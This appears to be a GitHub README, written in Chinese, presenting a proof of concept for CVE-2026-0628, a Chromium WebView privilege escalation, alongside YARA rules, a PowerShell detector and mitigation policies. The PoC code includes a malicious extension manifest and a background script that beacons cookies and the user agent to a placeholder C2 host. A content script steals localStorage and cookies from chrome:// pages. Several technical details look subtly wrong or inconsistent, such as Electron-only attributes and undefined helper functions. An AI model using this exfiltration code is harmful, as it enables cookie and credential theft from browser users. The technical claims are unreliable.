Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

README.md


# **CVE-2026-0628：Chromium WebView 权限提升（源欺骗）——技术研究与概念验证**

**作者：** Sastra Adi Wiguna（Purple Elite Teaming）
**研究日期：** 2026年1月
**CVE ID：** CVE-2026-0628
**CVSS v3.1：** 8.8（高危）
**受影响版本：** Chromium < 143.0.7499.192
**补丁状态：** 已在 Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139 中修复

---

## **1. 概述**

### **1.1 研究目的**
本仓库记录了 **CVE-2026-0628**，这是 Chromium WebView 策略执行机制中的一个**高危权限提升漏洞**。该漏洞允许恶意扩展程序**绕过沙箱限制**、向**特权上下文**（例如 `chrome://`）注入脚本，并**提升权限**以执行任意代码。

本研究**仅用于防御性安全目的**，包括：
- **漏洞分析**
- **检测工程**
- **缓解策略制定**
- **渗透测试（仅限授权环境）**

### **1.2 免责声明**
- **严格用于学术和防御性研究。**
- **未经授权不得用于生产系统。**
- **遵守所有适用法律和组织安全策略。**
- **立即修补：** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139。

---

## **2. 技术分析**

### **2.1 根本原因**
Chromium WebView 实现中的**策略执行不足**允许扩展程序**逃逸沙箱边界**并访问**特权 DOM 上下文**。

**漏洞流程：**
1. 恶意扩展程序在 `manifest.json` 中声明 WebView 的使用。
2. 扩展程序通过 `<webview>` 标签注入精心构造的 HTML/JS 载荷。
3. **WebView 策略验证绕过** → 访问特权页面（例如 `chrome://settings`）。
4. 在特权上下文中**执行任意脚本**。

**CVSS 向量：**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 漏洞利用架构**
#### **恶意扩展程序模板**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // 关键绕过参数
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Detects CVE-2026-0628 WebView exploit patterns"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

// 存在漏洞（pre-143.0.7499.192）
if (webview.src.startsWith('chrome://')) {
  return false; // 弱策略检查
}

// 已修复
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension not privileged');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Content-Security-Policy 加固
  }
}

{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installed');
  setTimeout(initExploitation, 5000);
});

async function initExploitation() {
  fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
    method: 'POST',
    body: JSON.stringify({
      victim: navigator.userAgent,
      cookies: await getAllCookies()
    })
  }).catch(() => {});
  chrome.tabs.onUpdated.addListener(exploitTab);
}

(function() {
  const privilegedTargets = [
    'chrome://new-tab-page/',
    'chrome://settings/',
    'chrome://extensions/'
  ];
  function createMaliciousWebView(target) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', target);
    webview.setAttribute('allowpopups', '');
    webview.addEventListener('dom-ready', () => {
      chrome.scripting.executeScript({
        target: {tabId: getCurrentTabId()},
        func: stealPrivilegedData
      });
    });
    document.body.appendChild(webview);
  }
  function stealPrivilegedData() {
    return {
      localStorage: Object.fromEntries(Object.entries(localStorage)),
      cookies: document.cookie,
      extensions: chrome.runtime.getManifest?.()
    };
  }
  setTimeout(() => {
    createMaliciousWebView('chrome://new-tab-page/');
  }, 1000);
})();

volatility3 -f memdump.raw windows.chrome.ChromeExtensions
yara3 -r cve-2026-0628.yar /path/to/chrome/extensions/

rule CVE_2026_0628_Mojo_Origin_Spoof {
  strings:
    $mojo_hdr = { 4D 6F 6A 6F }
    $chrome_origin = "chrome://new-tab-page/"
    $webview_sig = "WebViewPolicyValidator"
  condition:
    all of them
}